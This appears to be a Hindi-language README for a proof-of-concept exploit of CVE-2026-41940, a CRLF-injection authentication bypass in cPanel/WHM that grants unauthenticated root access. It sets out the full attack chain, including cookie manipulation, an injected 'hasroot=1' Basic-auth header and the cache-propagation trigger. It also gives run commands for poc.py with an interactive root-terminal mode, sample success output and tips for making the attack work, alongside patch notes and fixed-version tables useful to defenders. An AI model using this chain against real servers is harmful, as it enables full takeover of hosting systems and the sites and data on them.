
CVE-2026-41940 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो CRLF इंजेक्शन के माध्यम से cPanel/WHM प्रमाणीकरण बायपास है, जो बिना प्रमाणीकरण के रूट एक्सेस और इंटरैक्टिव शेल सक्षम करता है।
लेखक: SilySec
मूल शोध: Sina Kheirkhah (@SinSinology) / watchTowr Labs
गंभीरता: क्रिटिकल (CVSS 9.8)
प्रकार: CRLF इंजेक्शन → प्रमाणीकरण बायपास → रूट शेल
CVE-2026-41940 cPanel/WHM में एक क्रिटिकल भेद्यता है जो एक अनप्रमाणित हमलावर को cpsrvd के बेसिक प्रमाणीकरण हैंडलर में CRLF इंजेक्शन के माध्यम से पूर्ण रूट एक्सेस प्राप्त करने की अनुमति देती है।
यह दोष तीन कमजोरियों को जोड़ता है:
Cpanel/Session.pm में saveSession() फ़ंक्शन कुकी में <ob> कुंजी अनुपस्थित होने पर डिस्क पर लिखने से पहले \r\n वर्णों को सैनिटाइज़ नहीं करता है।<obHEX> सेगमेंट के बिना, प्रति-सत्र एन्कोडर सक्रिय नहीं होता है, जिससे CRLF बाइट्स सत्र फ़ाइल में स्पष्ट रूप से लिखे जाते हैं।Cpanel::Session::Modify::save() कच्ची फ़ाइल को फिर से पढ़ता है और इंजेक्ट की गई CRLF कुंजियों को JSON कैश में प्रमोट करता है, जिससे सत्र पूर्ण रूप से प्रमाणित हो जाता है।POST /login/?login_only=1 [गलत पासवर्ड]
└─► cookie: whostmgrsession=:ID,<obHEX>
,<obHEX> हटाएं → :ID [एन्कोडर अक्षम करें]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd सत्र फ़ाइल में कच्चे CRLF बाइट्स लिखता है
GET /scripts2/listaccts + Cookie: :ID [सुरक्षा टोकन के बिना]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► JSON कैश hasroot=1, tfa_verified=1 के साथ पुनर्निर्मित
→ रूट के रूप में प्रमाणित सत्र
pip install requests
# --terminal मोड के लिए (वैकल्पिक):
pip install paramiko
python3 poc.py --target https://लक्ष्य:2087
python3 poc.py --target https://लक्ष्य:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.example.com
[1/4] preauth सत्र बनाना ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] CRLF पेलोड इंजेक्ट करना ...
307 → लीक टोकन = /cpsess1234567890
[3/4] कैश प्रसार ट्रिगर करना ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] रूट एक्सेस सत्यापित करना ...
✔ AUTH BYPASS CONFIRMED
cPanel संस्करण : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host हेडर में किया जाना चाहिए (IP नहीं) — cpsrvd होस्टनाम के आधार पर सत्रों को अलग तरीके से संभालता है9999999999 (स्थिर, दूर भविष्य) होना चाहिए — वर्तमान टाइमस्टैम्प विफल हो जाता हैsuccessful_internal_auth_with_timestamp पहले आना चाहिएपैच filter_sessiondata() के कॉल को saveSession() के अंदर स्थानांतरित करता है और <ob> कुंजी अनुपस्थित होने पर सशर्त एन्कोडिंग जोड़ता है, जिससे कोई भी स्पष्ट लेखन रोका जा सके।
ऊपर सूचीबद्ध सुधारित संस्करणों में cPanel/WHM को तुरंत अपडेट करें।
यह उपकरण केवल शोध और आंतरिक परीक्षण उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम पर कोई भी उपयोग अवैध है। SilySec दुरुपयोग के किसी भी मामले के लिए कोई जिम्मेदारी नहीं लेता है।
| शाखा | अंतिम भेद्य संस्करण | सुधारित संस्करण |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |